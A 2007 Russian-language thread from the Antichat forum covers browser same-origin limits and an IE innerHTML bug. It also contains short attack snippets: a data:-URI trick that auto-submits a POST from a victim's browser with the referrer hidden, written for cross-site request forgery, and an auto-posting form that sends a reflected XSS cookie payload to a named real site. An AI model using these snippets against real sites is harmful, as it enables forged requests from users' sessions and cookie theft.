HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.11.2007, 00:07
Loopy
Новичок
Регистрация: 14.07.2007
Сообщений: 29
С нами: 9909403

Репутация: 10
По умолчанию

Цитата:
Сообщение от DIAgen  
Не как, зашита встроенная в браузеры...
Я понимаю.... если защита от загрузок с другого сайта из другого. Но если сам JS-скрипт находит...
*на этом моменте я понял почему запрещено*
потому-что кто-то может подключить JS с другого сайта в котором с этого же сайта берутся страницы... вот...
Я, кстати, подключаю скрипт с компа. c localhost'a. А если с диска C: ? там вроде на файловой системе компьютера нет ограничений...
 
Ответить с цитированием

  #2  
Старый 28.11.2007, 00:26
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
С нами: 9840758

Репутация: 808


По умолчанию

Цитата:
Сообщение от Loopy  
*на этом моменте я понял почему запрещено*
потому-что кто-то может подключить JS с другого сайта в котором с этого же сайта берутся страницы... вот...
Нет, как раз JS действительно можно подключать с любого другого домена, но исполняться он будет в контексте безопасности именно той страницы, где он был "подключён". Односторонняя такая защита.
 
Ответить с цитированием

  #3  
Старый 28.11.2007, 00:37
Loopy
Новичок
Регистрация: 14.07.2007
Сообщений: 29
С нами: 9909403

Репутация: 10
По умолчанию

Цитата:
Сообщение от astrologer  
Нет, как раз JS действительно можно подключать с любого другого домена, но исполняться он будет в контексте безопасности именно той страницы, где он был "подключён". Односторонняя такая защита.
А я и не говорил, что нельзя подключать скрипты с других сайтов. Я говорил, что AJAX и хирургический доступ к фреймам в таком скрипте, который подключается, абсолютно исключены системой безопасности доступа к страницам. Как к доступу к страницам подключаемого, так и к которому подключаем.

Объясню.
Так как, исполняемый скрипт может брать страницы через Аякс со своего домена. Неужели браузеры позволят сайтам подключать сторонние скрипты и использовать то, что они подключают свои страницы? Тырить контент можно.

Почему не может брать страницы от сайта к которому подключается? Да потому, что злоумышленник на сайте которого храниться код может его переделать и загрузать страницы первичного сайта к себе на сайт.

В таком случае, в подключении сторонних кодов, AJAX и какой-либо доступ к фреймам исключены.

Последний раз редактировалось Loopy; 28.11.2007 в 00:41..
 
Ответить с цитированием

  #4  
Старый 28.11.2007, 23:06
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

есть <select id='mda'></select>
добавляю document.getElementById('mda').innerHTML = '<option value="">123</option>';

почему это не работает в ИЕ?
p.s. меня не интересует как сделать по другому.
 
Ответить с цитированием

  #5  
Старый 29.11.2007, 17:02
Loopy
Новичок
Регистрация: 14.07.2007
Сообщений: 29
С нами: 9909403

Репутация: 10
По умолчанию

Цитата:
Сообщение от GreenBear  
есть <select id='mda'></select>
добавляю document.getElementById('mda').innerHTML = '<option value="">123</option>';

почему это не работает в ИЕ?
p.s. меня не интересует как сделать по другому.
В ИЕ, чтобы иннерить нужно присутствия каких-нибудь символов между тегами в которые вставляем..
 
Ответить с цитированием

  #6  
Старый 29.11.2007, 18:48
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
С нами: 9840758

Репутация: 808


По умолчанию

Цитата:
Сообщение от GreenBear  
есть <select id='mda'></select>
добавляю document.getElementById('mda').innerHTML = '<option value="">123</option>';

почему это не работает в ИЕ?
p.s. меня не интересует как сделать по другому.
Потому, что это баг IE.
Цитата:
В ИЕ, чтобы иннерить нужно присутствия каких-нибудь символов между тегами в которые вставляем..
Нет.
Цитата:
как загружать от одного сайта но от другого поддомена?
Если два разных поддомена - то нельзя. Возможно тогда и только тогда, когда со страницы "sub.site.com" нужно получить доступ к "site.com". В этом случае можно установить document.domain = 'site.com' и работать с ним. Обратно в пределах одной сессии изменить уже нельзя.
 
Ответить с цитированием

  #7  
Старый 30.11.2007, 18:46
bot
Новичок
Регистрация: 27.12.2005
Сообщений: 7
С нами: 10721698

Репутация: 1
По умолчанию

Как скрыть рефа у юзера?

Через window.location или document.location - эт понятно... хотя у меня опера передает рефа любым путем, даже если создается поп-ап окно без адреса и т.п.
А если это будет POST запрос ???
Типа:
<form>
.....
</form>
<script>submit();</script>

Блин, ужо неделю ломаю голову...
Причем надо учесть, чтобы именно браузер жертвы отправил запрос, т.к. проверяется сессия или куки...

Мож кто знает лучше метод, как избавиться от рефа юзера в POST запросе ????

Последний раз редактировалось bot; 02.12.2007 в 02:34..
 
Ответить с цитированием

  #8  
Старый 02.12.2007, 22:44
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
С нами: 9840758

Репутация: 808


По умолчанию

Цитата:
Сообщение от bot  
Мож кто знает лучше метод, как избавиться от рефа юзера в POST запросе ????
Хороший вопрос. После непродолжительного исследования получилось следующее:
PHP код:
 ---
<
script type="text/javascript">
var 
info '123';
document.location.href='data:text/html;,\
<body onload="document.forms[0].submit()">\
<form method="POST" action="http://2ip.ru">\
<input name="info" type="text" value="' 
info '" />\
</form>'
</script>
 --- 
Так можно скрыть реферер в Опере и FF. IE не понимает схемы "data:", для него можно создать окно и в нём - форму.
 
Ответить с цитированием

  #9  
Старый 29.11.2007, 16:21
Loopy
Новичок
Регистрация: 14.07.2007
Сообщений: 29
С нами: 9909403

Репутация: 10
По умолчанию

astrologer

Блин, респект. Получается. Проблема была в том, что страница, которую хотел получить, назодилось в поддомене..
из поддомена загружается только от этого поддомена.. как загрузать от одного сайта но от другого поддомена?
 
Ответить с цитированием

  #10  
Старый 29.11.2007, 16:44
halkfild
Постоянный
Регистрация: 11.11.2005
Сообщений: 391
С нами: 10787366

Репутация: 2277
По умолчанию

я делал так автоматический пост

Код HTML:
<form name="postform" action="http://rechitsa.by/index.php" method="POST">
   <input type="hidden" name="search_string" size=20 value="><script>alert(document.cookie)</script>">
   <input type="hidden" src="/images/search.gif" alt="Поиск"/></td></tr>
   <select name="search_cat" type="hidden">
      <option value="all">весь сайт</option>
      <option value="articles">статьи</option>
      <option value="news">новости</option>
   </select>
</form>

<script>document.postform.submit();</script>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 6762 17.06.2010 21:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.